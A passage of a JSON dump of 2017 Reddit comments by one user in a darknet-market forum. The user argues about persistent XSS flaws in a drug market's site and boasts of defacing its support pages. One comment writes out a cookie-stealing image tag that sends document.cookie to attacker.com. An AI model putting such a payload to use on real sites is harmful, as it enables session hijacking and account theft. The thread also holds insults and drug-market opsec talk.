4066 "body": "what the fuck.\n\nYou said:\n\n> You broke it for yourself client side idiot.\n\nI just redesigned their site and have saved it in their database. If anyone visits it right now it will be my new redesign\n\nSupport has acknowleged my redesign and I know they've seen it - I can literally change the page served by DHL to anything I want.\n\nThis has *nothing* to do with running tails or \"breaking it client side\" or whatever the fuck you're talking about \n\nseriously, the level of ignorance here is *astounding*\n\nlol at thinking tails will save you - enjoy prison if you really are a vendor and this ignorant",
4067 "created_utc": 1501644950,
4068 "id": "dl1n0r1",
4069 "link_id": "t3_6qxd1o",
4070 "parent_id": "t1_dl1lagm",
4071 "retrieved_on": 1501646440,
4072 "score": 1,
4073 "stickied": false,
4074 "subreddit": "DarkNetMarkets",
4075 "subreddit_id": "t5_2yt0h"
4076 },
4077 {
4078 "author": "t0mcheck",
4079 "author_flair_css_class": null,
4080 "author_flair_text": null,
4081 "body": "I'm talking about the original vuln\n\nAltho that example worked against DHL support - which is kinda funny",
4082 "created_utc": 1501644269,
4083 "id": "dl1mjre",
4084 "link_id": "t3_6qxd1o",
4085 "parent_id": "t1_dl1lf2n",
4086 "retrieved_on": 1501644270,
4087 "score": 1,
4088 "stickied": false,
4089 "subreddit": "DarkNetMarkets",
4090 "subreddit_id": "t5_2yt0h"
4091 },
4092 {
4093 "author": "t0mcheck",
4094 "author_flair_css_class": null,
4095 "author_flair_text": null,
4096 "body": "I'm not talking about my example i'm talking about the original vuln\n\nAltho that example worked against DHL support :/",
4097 "created_utc": 1501644222,
4098 "id": "dl1miji",
4099 "link_id": "t3_6qxd1o",
4100 "parent_id": "t1_dl1lf2n",
4101 "retrieved_on": 1501644223,
4102 "score": 1,
4103 "stickied": false,
4104 "subreddit": "DarkNetMarkets",
4105 "subreddit_id": "t5_2yt0h"
4106 },
4107 {
4108 "author": "t0mcheck",
4109 "author_flair_css_class": null,
4110 "author_flair_text": null,
4111 "body": "> To steal the users' cookies without them having JavaScript enabled in their browsers you would need to use a server-side, persistent XSS.\n\nThats what this is ....",
4112 "created_utc": 1501642097,
4113 "id": "dl1kz99",
4114 "link_id": "t3_6qxd1o",
4115 "parent_id": "t1_dl1kso9",
4116 "retrieved_on": 1501642097,
4117 "score": 1,
4118 "stickied": false,
4119 "subreddit": "DarkNetMarkets",
4120 "subreddit_id": "t5_2yt0h"
4121 },
4122 {
4123 "author": "t0mcheck",
4124 "author_flair_css_class": null,
4125 "author_flair_text": null,
4126 "body": "For the tenth time - it has nothing to do with Javascript. \n\nI can steal any users session who visits my profile or support page.\n\nWhy is this so hard to explain?",
4127 "created_utc": 1501641530,
4128 "id": "dl1kjpy",
4129 "link_id": "t3_6qxd1o",
4130 "parent_id": "t1_dl14r2l",
4131 "retrieved_on": 1501641531,
4132 "score": 1,
4133 "stickied": false,
4134 "subreddit": "DarkNetMarkets",
4135 "subreddit_id": "t5_2yt0h"
4136 },
4137 {
4138 "author": "t0mcheck",
4139 "author_flair_css_class": null,
4140 "author_flair_text": null,
4141 "body": "IF you're really a vendor then you deserve each other.",
4142 "created_utc": 1501641466,
4143 "id": "dl1ki1d",
4144 "link_id": "t3_6qxd1o",
4145 "parent_id": "t1_dl1f50u",
4146 "retrieved_on": 1501641467,
4147 "score": 1,
4148 "stickied": false,
4149 "subreddit": "DarkNetMarkets",
4150 "subreddit_id": "t5_2yt0h"
4151 },
4152 {
4153 "author": "t0mcheck",
4154 "author_flair_css_class": null,
4155 "author_flair_text": null,
4156 "body": "IT has *nothing* to do with Javascript - you can write *anything* to the site including changing form targets and stealing sessions. How long will it take for everyone to understand this?",
4157 "created_utc": 1501640807,
4158 "id": "dl1jzqd",
4159 "link_id": "t3_6qxd1o",
4160 "parent_id": "t1_dl1ezj1",
4161 "retrieved_on": 1501640807,
4162 "score": 1,
4163 "stickied": false,
4164 "subreddit": "DarkNetMarkets",
4165 "subreddit_id": "t5_2yt0h"
4166 },
4167 {
4168 "author": "t0mcheck",
4169 "author_flair_css_class": null,
4170 "author_flair_text": null,
4171 "body": "*persistent XSS*\n\nLook it up then get back to me\n\nIs infosec knowledge really this poor?",
4172 "created_utc": 1501640755,
4173 "id": "dl1jyad",
4174 "link_id": "t3_6qxd1o",
4175 "parent_id": "t1_dl1f6p1",
4176 "retrieved_on": 1501640756,
4177 "score": 1,
4178 "stickied": false,
4179 "subreddit": "DarkNetMarkets",
4180 "subreddit_id": "t5_2yt0h"
4181 },
4182 {
4183 "author": "t0mcheck",
4184 "author_flair_css_class": null,
4185 "author_flair_text": null,
4186 "body": "> I am not admin. \n\nDon't forget to come back in 30 minutes on your alt and pretend to be upset with yourself at the mess you've made in this thread :)",
4187 "created_utc": 1501623471,
4188 "id": "dl15wdt",
4189 "link_id": "t3_6qxd1o",
4190 "parent_id": "t1_dl15r6n",
4191 "retrieved_on": 1501623472,
4192 "score": 1,
4193 "stickied": false,
4194 "subreddit": "DarkNetMarkets",
4195 "subreddit_id": "t5_2yt0h"
4196 },
4197 {
4198 "author": "t0mcheck",
4199 "author_flair_css_class": null,
4200 "author_flair_text": null,
4201 "body": "[uha](https://media.tenor.com/images/4d850209dc7ed1f183e4e60720005a79/tenor.gif)",
4202 "created_utc": 1501623282,
4203 "id": "dl15qbg",
4204 "link_id": "t3_6qxd1o",
4205 "parent_id": "t1_dl15oad",
4206 "retrieved_on": 1501623283,
4207 "score": 1,
4208 "stickied": false,
4209 "subreddit": "DarkNetMarkets",
4210 "subreddit_id": "t5_2yt0h"
4211 },
4212 {
4213 "author": "t0mcheck",
4214 "author_flair_css_class": null,
4215 "author_flair_text": null,
4216 "body": "More coming - the DHL scene is a clusterfuck - what tops it is the way people like the admin of DHL are responding to issues. ",
4217 "created_utc": 1501622865,
4218 "id": "dl15d2n",
4219 "link_id": "t3_6qzeww",
4220 "parent_id": "t3_6qzeww",
4221 "retrieved_on": 1501622868,
4222 "score": 1,
4223 "stickied": false,
4224 "subreddit": "DarkNetMarkets",
4225 "subreddit_id": "t5_2yt0h"
4226 },
4227 {
4228 "author": "t0mcheck",
4229 "author_flair_css_class": null,
4230 "author_flair_text": null,
4231 "body": "Yep - so fucking lame that I broke your site in less than half an hour and it was easy. \n\nXSS on the main search field on your site - go home before you get hurt for real, kiddo.",
4232 "created_utc": 1501622737,
4233 "id": "dl158yp",
4234 "link_id": "t3_6qxd1o",
4235 "parent_id": "t1_dl156h9",
4236 "retrieved_on": 1501622738,
4237 "score": 1,
4238 "stickied": false,
4239 "subreddit": "DarkNetMarkets",
4240 "subreddit_id": "t5_2yt0h"
4241 },
4242 {
4243 "author": "t0mcheck",
4244 "author_flair_css_class": null,
4245 "author_flair_text": null,
4246 "body": "I don't want your token if this is how you're going to respond to legitimate security issues. \n\nPlease link to the issues discussed previously - you realize it makes it *even worse* that you've known about this for two years and not fixed it?",
4247 "created_utc": 1501622405,
4248 "id": "dl14yd5",
4249 "link_id": "t3_6qxd1o",
4250 "parent_id": "t1_dl14w3v",
4251 "retrieved_on": 1501622407,
4252 "score": 1,
4253 "stickied": false,
4254 "subreddit": "DarkNetMarkets",
4255 "subreddit_id": "t5_2yt0h"
4256 },
4257 {
4258 "author": "t0mcheck",
4259 "author_flair_css_class": null,
4260 "author_flair_text": null,
4261 "body": "No my tactic is demonstrating how pathetic your site and attitude are. It works just fine.",
4262 "created_utc": 1501622325,
4263 "id": "dl14vqc",
4264 "link_id": "t3_6qxd1o",
4265 "parent_id": "t1_dl14ue5",
4266 "retrieved_on": 1501622325,
4267 "score": 1,
4268 "stickied": false,
4269 "subreddit": "DarkNetMarkets",
4270 "subreddit_id": "t5_2yt0h"
4271 },
4272 {
4273 "author": "t0mcheck",
4274 "author_flair_css_class": null,
4275 "author_flair_text": null,
4276 "body": "You're an idiot.\n\nYour market needs to cease operations asap for the sake of everybody.",
4277 "created_utc": 1501622206,
4278 "id": "dl14rwi",
4279 "link_id": "t3_6qxd1o",
4280 "parent_id": "t1_dl14n68",
4281 "retrieved_on": 1501622207,
4282 "score": 1,
4283 "stickied": false,
4284 "subreddit": "DarkNetMarkets",
4285 "subreddit_id": "t5_2yt0h"
4286 },
4287 {
4288 "author": "t0mcheck",
4289 "author_flair_css_class": null,
4290 "author_flair_text": null,
4291 "body": "> Use it to attack us then.\n\nErrr, I just did. Visit the persistent bug on the forum page.\n\nI'm also less interested in stealing what little coins you have and more interested in keeping DNMs safe for everyone. \n\n> Again, fuck over anyone of our customers or vendors \n\nI'm sure your customers and vendors will appreciate being used as pawns and bait because of your insecurities. Shows how much you value them.",
4292 "created_utc": 1501622082,
4293 "id": "dl14nu6",
4294 "link_id": "t3_6qxd1o",
4295 "parent_id": "t1_dl14gg9",
4296 "retrieved_on": 1501622083,
4297 "score": 1,
4298 "stickied": false,
4299 "subreddit": "DarkNetMarkets",
4300 "subreddit_id": "t5_2yt0h"
4301 },
4302 {
4303 "author": "t0mcheck",
4304 "author_flair_css_class": null,
4305 "author_flair_text": null,
4306 "body": "not taking requests at the moment ",
4307 "created_utc": 1501621481,
4308 "id": "dl144b2",
4309 "link_id": "t3_6qxd1o",
4310 "parent_id": "t1_dl13zt6",
4311 "retrieved_on": 1501621482,
4312 "score": 1,
4313 "stickied": false,
4314 "subreddit": "DarkNetMarkets",
4315 "subreddit_id": "t5_2yt0h"
4316 },
4317 {
4318 "author": "t0mcheck",
4319 "author_flair_css_class": null,
4320 "author_flair_text": null,
4321 "body": "> This only works in theory with javascript enabled which is a big NO-NO around here. \n\nNope. You can rewrite any part of the page - including jacking session tokens. They're only called XSS because that is what they're most commonly used for - but it is essentially a \"rewrite the site to whatever you want\" bug\n\nSee how i've redesigned your support ticket pages as an example :)",
4322 "created_utc": 1501621337,
4323 "id": "dl13zj5",
4324 "link_id": "t3_6qxd1o",
4325 "parent_id": "t1_dl13vbi",
4326 "retrieved_on": 1501621338,
4327 "score": 1,
4328 "stickied": false,
4329 "subreddit": "DarkNetMarkets",
4330 "subreddit_id": "t5_2yt0h"
4331 },
4332 {
4333 "author": "t0mcheck",
4334 "author_flair_css_class": null,
4335 "author_flair_text": null,
4336 "body": "> Always have js disabled.\n\ndoesn't prevent some attacks like attaching the sesion id to the end of an image request. ie. writing:\n\n <img src=https://attacker.com/+document.cookie />\n\ninto the body",
4337 "created_utc": 1501621184,
4338 "id": "dl13uff",
4339 "link_id": "t3_6qxd1o",
4340 "parent_id": "t1_dl0q44j",
4341 "retrieved_on": 1501621185,
4342 "score": 1,
4343 "stickied": false,
4344 "subreddit": "DarkNetMarkets",
4345 "subreddit_id": "t5_2yt0h"
4346 },
4347 {
4348 "author": "t0mcheck",
4349 "author_flair_css_class": null,
4350 "author_flair_text": null,
4351 "body": "yep also executes in the support forum. you can rewrite the entire page.",
4352 "created_utc": 1501605646,
4353 "id": "dl0oo1j",
4354 "link_id": "t3_6qxd1o",
4355 "parent_id": "t1_dl0oe9b",
4356 "retrieved_on": 1501605710,
4357 "score": 1,
4358 "stickied": false,
4359 "subreddit": "DarkNetMarkets",
4360 "subreddit_id": "t5_2yt0h"
4361 },
4362 {
4363 "author": "t0mcheck",
4364 "author_flair_css_class": null,
4365 "author_flair_text": null,
4366 "body": "Update: two DHL bugs inbound. reported them and awaiting reply.",
4367 "created_utc": 1501603244,
4368 "id": "dl0md55",
4369 "link_id": "t3_6qvs2m",
4370 "parent_id": "t3_6qvs2m",
4371 "retrieved_on": 1501603246,
4372 "score": 1,
4373 "stickied": false,
4374 "subreddit": "DarkNetMarkets",
4375 "subreddit_id": "t5_2yt0h"
4376 },
4377 {
4378 "author": "t0mcheck",
4379 "author_flair_css_class": null,
4380 "author_flair_text": null,
4381 "body": "I am and will take it up with him in pm's - I just want to point out that theres a difference between saying \"I did some basic tests and found nothing\" and saying \"These markets were VERY secure and likely using very complex setups\" \n\nIt's the later I had an issue with ",
4382 "created_utc": 1501601473,
4383 "id": "dl0kp5j",
4384 "link_id": "t3_6qvs2m",
4385 "parent_id": "t1_dl0fet6",
4386 "retrieved_on": 1501601669,
4387 "score": 1,
4388 "stickied": false,
4389 "subreddit": "DarkNetMarkets",
4390 "subreddit_id": "t5_2yt0h"
4391 },
4392 {
4393 "author": "t0mcheck",
4394 "author_flair_css_class": null,
4395 "author_flair_text": null,
4396 "body": "good to see that everyone has learned their lesson about not encrypting pm's on dnm's",
4397 "created_utc": 1501594358,
4398 "id": "dl0enfa",
4399 "link_id": "t3_6qvs2m",
4400 "parent_id": "t1_dl0ee99",
4401 "retrieved_on": 1501594359,
4402 "score": 1,
4403 "stickied": false,
4404 "subreddit": "DarkNetMarkets",
4405 "subreddit_id": "t5_2yt0h"
4406 },
4407 {
4408 "author": "t0mcheck",
4409 "author_flair_css_class": null,
4410 "author_flair_text": null,
4411 "body": "he's almost certainly a FUDing sockpuppet - no way anybody who is actually in infosec is that incompetent\n\ncalled him out previously [here](https://pay.reddit.com/r/DarkNetMarkets/comments/6ojwht/dreammarket_important_opsec_issue_leave_market/dkicr3l/?context=3) and [here](https://pay.reddit.com/r/DarkNetMarkets/comments/6p2xun/new_market_announcement/dkojn0w/?context=3)",
4412 "created_utc": 1501593144,
4413 "id": "dl0drg5",
4414 "link_id": "t3_6qvs2m",
4415 "parent_id": "t1_dl0d9dm",
4416 "retrieved_on": 1501593145,
4417 "score": 1,
4418 "stickied": false,
4419 "subreddit": "DarkNetMarkets",
4420 "subreddit_id": "t5_2yt0h"
4421 },
4422 {
4423 "author": "t0mcheck",
4424 "author_flair_css_class": null,
4425 "author_flair_text": null,
4426 "body": "I have a long running modmail thread with them about the flaws in the superlist. \n\nWill be making it public later.",
4427 "created_utc": 1501592827,
4428 "id": "dl0djh4",
4429 "link_id": "t3_6qvs2m",
4430 "parent_id": "t1_dl0de3z",
4431 "retrieved_on": 1501592828,
4432 "score": 1,
4433 "stickied": false,
4434 "subreddit": "DarkNetMarkets",
4435 "subreddit_id": "t5_2yt0h"
4436 },
4437 {
4438 "author": "t0mcheck",
4439 "author_flair_css_class": null,
4440 "author_flair_text": null,
4441 "body": "ye I read that in one of the private messages :)",
4442 "created_utc": 1501590078,
4443 "id": "dl0brby",
4444 "link_id": "t3_6qvs2m",
4445 "parent_id": "t1_dl0bnrq",
4446 "retrieved_on": 1501590079,
4447 "score": 1,
4448 "stickied": false,
4449 "subreddit": "DarkNetMarkets",
4450 "subreddit_id": "t5_2yt0h"
4451 },
4452 {
4453 "author": "t0mcheck",
4454 "author_flair_css_class": null,
4455 "author_flair_text": null,
4456 "body": "its a military acronym so call caps \n\nits [literally in the title of the wiki page](https://en.wikipedia.org/wiki/OPSEC)\n",
4457 "created_utc": 1501572346,
4458 "id": "dl04iml",
4459 "link_id": "t3_6psquq",
4460 "parent_id": "t1_dksl2mo",
4461 "retrieved_on": 1501572347,
4462 "score": 1,
4463 "stickied": false,
4464 "subreddit": "DarkNetMarkets",
4465 "subreddit_id": "t5_2yt0h"
4466 },
4467 {
4468 "author": "t0mcheck",
4469 "author_flair_css_class": null,
4470 "author_flair_text": null,
4471 "body": "close to what they said\n\nbitdefender has tried to make a big deal about their threat and info business. they are aggregating data across their AV and TLS intercept install base and attempting to sell this.\n\nwhen they first announced it a couple of years ago it came up on the Tor mailing list (cant find it atm) and everyone just dismissed it as mostly FUD \n\ntake your personal laptop into work not knowing they intercept all TLS and they find you connecting to Tor, sys scan shows a developer hidden service or similar on ur laptop. not hard to believe - too many people dont realize their work networks are owned by the business and have zero privacy (including phones) \n\nthe sort of stuff we see on internal corp networks from most ppl now knowing this is insane - blackmail material, ppl sleeping with other ppl, ppl trashing other ppl, etc. etc. it doesnt surprise me in the slightest that on a long enough timeline one of these hits is someone involved with DNMs ",
4472 "created_utc": 1501572299,
4473 "id": "dl04hya",
4474 "link_id": "t3_6pttx8",
4475 "parent_id": "t1_dksu0zx",
4476 "retrieved_on": 1501572299,
4477 "score": 1,
4478 "stickied": false,
4479 "subreddit": "DarkNetMarkets",
4480 "subreddit_id": "t5_2yt0h"
4481 },
4482 {
4483 "approved_at_utc": null,
4484 "author": "t0mcheck",
4485 "author_flair_css_class": null,
4486 "author_flair_text": null,
4487 "banned_at_utc": null,
4488 "body": "what an idiot. he pimps VPN's and then says not to use Tor or Tails - insanity. ",
4489 "can_gild": true,
4490 "can_mod_post": false,
4491 "collapsed": false,
4492 "collapsed_reason": null,
4493 "created_utc": 1501315061,
4494 "id": "dkvnkz0",
4495 "is_submitter": false,
4496 "link_id": "t3_6q793s",
4497 "parent_id": "t1_dkv35s6",
4498 "score": 4,
4499 "stickied": false,
4500 "subreddit": "DarkNetMarkets",
4501 "subreddit_id": "t5_2yt0h"
4502 },
4503 {
4504 "approved_at_utc": null,
4505 "author": "t0mcheck",
4506 "author_flair_css_class": null,
4507 "author_flair_text": null,
4508 "banned_at_utc": null,
4509 "body": "cringing at ur praise of the mods. those sticky security threads from them are *cringe*\n\nnumerous infosec ppl have crashed this sub since the takedowns, taken one look at the common practices around here, shaken their heads at the car crash and then left\n\nnobody here seems to notice that the mods here defacto endorsed multisig markets as secure last week and then just days later a multisig market run by LE takes all user funds. that is *hilarious*\n\nu also have these 'big fish in little pond' resident 'infosec experts' saying shit like 'These markets were VERY secure and likely using very complex setups' about alpha + hansa lellllllll\n\nu guys really have a lot to learn otherwise this will keep happening ",
4510 "can_gild": true,
4511 "can_mod_post": false,
4512 "collapsed": false,
4513 "collapsed_reason": null,
4514 "created_utc": 1501146599,
4515 "id": "dksbdmn",
4516 "is_submitter": false,
4517 "link_id": "t3_6psquq",
4518 "parent_id": "t1_dks9ivd",
4519 "score": 1,
4520 "stickied": false,
4521 "subreddit": "DarkNetMarkets",
4522 "subreddit_id": "t5_2yt0h"
4523 },
4524 {
4525 "approved_at_utc": null,
4526 "author": "t0mcheck",
4527 "author_flair_css_class": null,
4528 "author_flair_text": null,
4529 "banned_at_utc": null,
4530 "body": "?!??!!??!\n\nthat still makes no sense - you're just repeating your original point \n\nan LE shutdown of bitmixer would have a papertrail in court documents - if not now then at some point\n\nalso court approval for running criminal markets to capture people is 100x easier with an existing markets. i can just imagine the look a judge would give an investigator when he says he wants a warrant to setup a brand new mixer ..\n\nI think the nonsense on this sub is reaching peak insanity ",
4531 "can_gild": true,
4532 "can_mod_post": false,
4533 "collapsed": false,
4534 "collapsed_reason": null,
4535 "created_utc": 1501146251,
4536 "id": "dksb95u",
4537 "is_submitter": false,
4538 "link_id": "t3_6psji1",
4539 "parent_id": "t1_dks964o",
4540 "score": 3,
4541 "stickied": false,
4542 "subreddit": "DarkNetMarkets",
4543 "subreddit_id": "t5_2yt0h"
4544 },
4545 {
4546 "approved_at_utc": null,
4547 "author": "t0mcheck",
4548 "author_flair_css_class": null,
4549 "author_flair_text": null,
4550 "banned_at_utc": null,
4551 "body": "shame you can't afford a lawyer because cops smelling pot as probably cause for a warrant is decent grounds for a defense. they would want to make sure they crossed all the i's and dotted all the t's",
4552 "can_gild": true,
4553 "can_mod_post": false,
4554 "collapsed": false,
4555 "collapsed_reason": null,
4556 "created_utc": 1501139086,
4557 "id": "dks8gbr",
4558 "is_submitter": false,
4559 "link_id": "t3_6pmd0z",
4560 "parent_id": "t1_dkqgid1",
4561 "score": 1,
4562 "stickied": false,
4563 "subreddit": "DarkNetMarkets",
4564 "subreddit_id": "t5_2yt0h"
4565 },
4566 {
4567 "approved_at_utc": null,
4568 "author": "t0mcheck",
4569 "author_flair_css_class": null,
4570 "author_flair_text": null,
4571 "banned_at_utc": null,
4572 "body": "did they try asking him?",
4573 "can_gild": true,
4574 "can_mod_post": false,
4575 "collapsed": false,
4576 "collapsed_reason": null,
4577 "created_utc": 1501138807,
4578 "id": "dks8c08",
4579 "is_submitter": false,
4580 "link_id": "t3_6pombd",
4581 "parent_id": "t1_dkrad9o",
4582 "score": 1,
4583 "stickied": false,
4584 "subreddit": "DarkNetMarkets",
4585 "subreddit_id": "t5_2yt0h"
4586 },
4587 {
4588 "approved_at_utc": null,
4589 "author": "t0mcheck",
4590 "author_flair_css_class": null,
4591 "author_flair_text": null,
4592 "banned_at_utc": null,
4593 "body": "just to be safe you should burn your wife down, divorce your lawyer and move to house ",
4594 "can_gild": true,
4595 "can_mod_post": false,
4596 "collapsed": false,
4597 "collapsed_reason": null,
4598 "created_utc": 1501138596,
4599 "id": "dks88rg",
4600 "is_submitter": false,
4601 "link_id": "t3_6psquq",
4602 "parent_id": "t1_dks62pw",
4603 "score": 10,
4604 "stickied": false,
4605 "subreddit": "DarkNetMarkets",
4606 "subreddit_id": "t5_2yt0h"
4607 },
4608 {
4609 "approved_at_utc": null,
4610 "author": "t0mcheck",
4611 "author_flair_css_class": null,
4612 "author_flair_text": null,
4613 "banned_at_utc": null,
4614 "body": "i can tell that ur not a dnm buyer because you actually wrote a coherent post that makes sense and not some rambling about how tor is broken and there is an FBI van parked in my attic \n\nthe \"we made alphabay look like an exit scam\" line is post facto FUD from the FBI - tehy wouldave loved to ave run that market for a few weeks or months and looked a bit more pro like the dutch \n\n> You guys have done an awesome job keeping people updated, giving great advice on hardening OpSec\n\n*cringe*\n\nand u were doing so well ..\n\nps. it's OPSEC ",
4615 "can_gild": true,
4616 "can_mod_post": false,
4617 "collapsed": false,
4618 "collapsed_reason": null,
4619 "created_utc": 1501138491,
4620 "id": "dks875g",
4621 "is_submitter": false,
4622 "link_id": "t3_6psquq",
4623 "parent_id": "t3_6psquq",
4624 "score": -1,
4625 "stickied": false,
4626 "subreddit": "DarkNetMarkets",
4627 "subreddit_id": "t5_2yt0h"
4628 },
4629 {
4630 "approved_at_utc": null,
4631 "author": "t0mcheck",
4632 "author_flair_css_class": null,
4633 "author_flair_text": null,
4634 "banned_at_utc": null,
4635 "body": "they still don't have a warning on the superlist for their lame security",
4636 "can_gild": true,
4637 "can_mod_post": false,
4638 "collapsed": false,
4639 "collapsed_reason": null,
4640 "created_utc": 1501138080,
4641 "id": "dks80q1",
4642 "is_submitter": false,
4643 "link_id": "t3_6pqv1c",
4644 "parent_id": "t3_6pqv1c",
4645 "score": 0,
4646 "stickied": false,
4647 "subreddit": "DarkNetMarkets",
4648 "subreddit_id": "t5_2yt0h"
4649 },
4650 {
4651 "approved_at_utc": null,
4652 "author": "t0mcheck",
4653 "author_flair_css_class": null,
4654 "author_flair_text": null,
4655 "banned_at_utc": null,
4656 "body": "the attitude around here that you can just switch to using technology x (take your pick: multisig, monero, i2p) and suddenly all privacy issues are going to be resolved is very ignorant and misleading\n\nthe most important part of ur privacy and infosec is practices and policies",
4657 "can_gild": true,
4658 "can_mod_post": false,
4659 "collapsed": false,
4660 "collapsed_reason": null,
4661 "created_utc": 1501137997,
4662 "id": "dks7zdd",
4663 "is_submitter": false,
4664 "link_id": "t3_6pt18y",
4665 "parent_id": "t1_dks193r",
4666 "score": 5,
4667 "stickied": false,
4668 "subreddit": "DarkNetMarkets",
4669 "subreddit_id": "t5_2yt0h"
4670 },
4671 {
4672 "approved_at_utc": null,
4673 "author": "t0mcheck",
4674 "author_flair_css_class": null,
4675 "author_flair_text": null,
4676 "banned_at_utc": null,
4677 "body": "I work in infosec. it's almost impossible to train people into forcing their computers to lock when they walk away. almost nobody does it perfectly because typing in 20+ character passwords 50+ times a day and additionally using hardware tokens is a pain\n\nyou can sit on anyone for a week or two and you are almost certain going to have at least one opportunity to grab their machines logged in. especially if you have judicial and police powers\n\nthat part of the indictement is the least surprising ",
4678 "can_gild": true,
4679 "can_mod_post": false,
4680 "collapsed": false,
4681 "collapsed_reason": null,
4682 "created_utc": 1501137824,
4683 "id": "dks7wlw",
4684 "is_submitter": false,
4685 "link_id": "t3_6pttx8",
4686 "parent_id": "t1_dks756h",
4687 "score": 11,
4688 "stickied": false,
4689 "subreddit": "DarkNetMarkets",
4690 "subreddit_id": "t5_2yt0h"
4691 },
4692 {
4693 "approved_at_utc": null,
4694 "author": "t0mcheck",
4695 "author_flair_css_class": null,
4696 "author_flair_text": null,
4697 "banned_at_utc": null,
4698 "body": "> how could he not somehow be involved with the largest darknet marketplace out there? \n\nwhy run a high risk drug market that earns $20M and place you're $2b+ haul in a less risky business in jeopardy \n\nsometimes you just need to step through these theories logically to see they don't make sense \n\nthe alpha = russia thing was FUD - which for some reason everyone here believes while actually refusing to believe things with a lot more evidence ",
4699 "can_gild": true,
4700 "can_mod_post": false,
4701 "collapsed": false,
4702 "collapsed_reason": null,
4703 "created_utc": 1501137605,
4704 "id": "dks7t2c",
4705 "is_submitter": false,
4706 "link_id": "t3_6pttx8",
4707 "parent_id": "t3_6pttx8",
4708 "score": 28,
4709 "stickied": false,
4710 "subreddit": "DarkNetMarkets",
4711 "subreddit_id": "t5_2yt0h"
4712 },
4713 {
4714 "approved_at_utc": null,
4715 "author": "t0mcheck",
4716 "author_flair_css_class": null,
4717 "author_flair_text": null,
4718 "banned_at_utc": null,
4719 "body": "Why wouldn't the gov just seize bitmixer and run it themselves?\n\nthe amount is intel they'd get from running bitmixer would be *insane* and would give any DA or an investigator a decade long hardon \n\nNot everything is a fucking conspiracy - i swear, this sub sometimes .. you'd think its full of junkies all paranoid and shit ",
4720 "can_gild": true,
4721 "can_mod_post": false,
4722 "collapsed": false,
4723 "collapsed_reason": null,
4724 "created_utc": 1501137301,
4725 "id": "dks7o0u",
4726 "is_submitter": false,
4727 "link_id": "t3_6psji1",
4728 "parent_id": "t3_6psji1",
4729 "score": 5,
4730 "stickied": false,
4731 "subreddit": "DarkNetMarkets",
4732 "subreddit_id": "t5_2yt0h"
4733 },
4734 {
4735 "approved_at_utc": null,
4736 "author": "t0mcheck",
4737 "author_flair_css_class": "noob",
4738 "author_flair_text": "redditor for 1 week",
4739 "banned_at_utc": null,
4740 "body": "> why not take the site down sooner?\n\nbecause they were only tipped off to the info in December 2016",
4741 "can_gild": true,
4742 "can_mod_post": false,
4743 "collapsed": false,
4744 "collapsed_reason": null,
4745 "created_utc": 1501102944,
4746 "id": "dkrieob",
4747 "is_submitter": false,
4748 "link_id": "t3_6pmc8q",
4749 "parent_id": "t1_dkqhy2s",
4750 "score": 1,
4751 "stickied": false,
4752 "subreddit": "Bitcoin",
4753 "subreddit_id": "t5_2s3qj"
4754 },
4755 {
4756 "approved_at_utc": null,
4757 "author": "t0mcheck",
4758 "author_flair_css_class": "noob",
4759 "author_flair_text": "redditor for 1 week",
4760 "banned_at_utc": null,
4761 "body": "> Asymmetric encryption (especially RSA) could conceivably be broken\n\nand\n\n> but you seem to be knowledgable\n\npick one",
4762 "can_gild": true,
4763 "can_mod_post": false,
4764 "collapsed": false,
4765 "collapsed_reason": null,
4766 "created_utc": 1501102887,
4767 "id": "dkrics0",
4768 "is_submitter": false,
4769 "link_id": "t3_6pmc8q",
4770 "parent_id": "t1_dkqq0sy",
4771 "score": 1,
4772 "stickied": false,
4773 "subreddit": "Bitcoin",
4774 "subreddit_id": "t5_2s3qj"
4775 },
4776 {
4777 "approved_at_utc": null,
4778 "author": "t0mcheck",
4779 "author_flair_css_class": null,
4780 "author_flair_text": null,
4781 "banned_at_utc": null,
4782 "body": "yep - they have no way of knowing \"transactions that originated with AlphaBay\" unless they had the server first",
4783 "can_gild": true,
4784 "can_mod_post": false,
4785 "collapsed": false,
4786 "collapsed_reason": null,
4787 "created_utc": 1501095821,
4788 "id": "dkrbd0y",
4789 "is_submitter": false,
4790 "link_id": "t3_6pp6xx",
4791 "parent_id": "t1_dkr6axz",
4792 "score": 1,
4793 "stickied": false,
4794 "subreddit": "DarkNetMarkets",
4795 "subreddit_id": "t5_2yt0h"
4796 },
4797 {
4798 "approved_at_utc": null,
4799 "author": "t0mcheck",
4800 "author_flair_css_class": null,
4801 "author_flair_text": null,
4802 "banned_at_utc": null,
4803 "body": "> Sourcery is secure enough to not be easily exploited\n\nthey had an xss in their search field .......\n\nlol and howabout [this quote](https://www.reddit.com/r/DarkNetMarkets/comments/6ojwht/dreammarket_important_opsec_issue_leave_market/dki14ry/)\n\n> These markets were VERY secure and likely using very complex setups,\n\nsuper lels",
4804 "can_gild": true,
4805 "can_mod_post": false,
4806 "collapsed": false,
4807 "collapsed_reason": null,
4808 "created_utc": 1501095368,
4809 "id": "dkrawtr",
4810 "is_submitter": false,
4811 "link_id": "t3_6p2xun",
4812 "parent_id": "t1_dkqk0ml",
4813 "score": 1,
4814 "stickied": false,
4815 "subreddit": "DarkNetMarkets",
4816 "subreddit_id": "t5_2yt0h"
4817 },
4818 {
4819 "approved_at_utc": null,
4820 "author": "t0mcheck",
4821 "author_flair_css_class": null,
4822 "author_flair_text": null,
4823 "banned_at_utc": null,
4824 "body": "ugh - so nobody is going to offer how this actually worked?\n\ni'll ask again - using parallel construction - how do you get from a tor exploit to the indictment that was filed ",
4825 "can_gild": true,
4826 "can_mod_post": false,
4827 "collapsed": false,
4828 "collapsed_reason": null,
4829 "created_utc": 1501095279,
4830 "id": "dkratng",
4831 "is_submitter": false,
4832 "link_id": "t3_6pjlip",
4833 "parent_id": "t1_dkqmxla",
4834 "score": 2,
4835 "stickied": false,
4836 "subreddit": "DarkNetMarkets",
4837 "subreddit_id": "t5_2yt0h"
4838 },
4839 {
4840 "approved_at_utc": null,
4841 "author": "t0mcheck",
4842 "author_flair_css_class": null,
4843 "author_flair_text": null,
4844 "banned_at_utc": null,
4845 "body": "the hansa thread about the lock file changing format was hilarious for all the wrong reasons - wish i mirrored it ",
4846 "can_gild": true,
4847 "can_mod_post": false,
4848 "collapsed": false,
4849 "collapsed_reason": null,
4850 "created_utc": 1501055190,
4851 "id": "dkqhjcx",
4852 "is_submitter": false,
4853 "link_id": "t3_6ph4s6",
4854 "parent_id": "t1_dkqf7is",
4855 "score": 1,
4856 "stickied": false,
4857 "subreddit": "DarkNetMarkets",
4858 "subreddit_id": "t5_2yt0h"
4859 },
4860 {
4861 "approved_at_utc": null,
4862 "author": "t0mcheck",
4863 "author_flair_css_class": null,
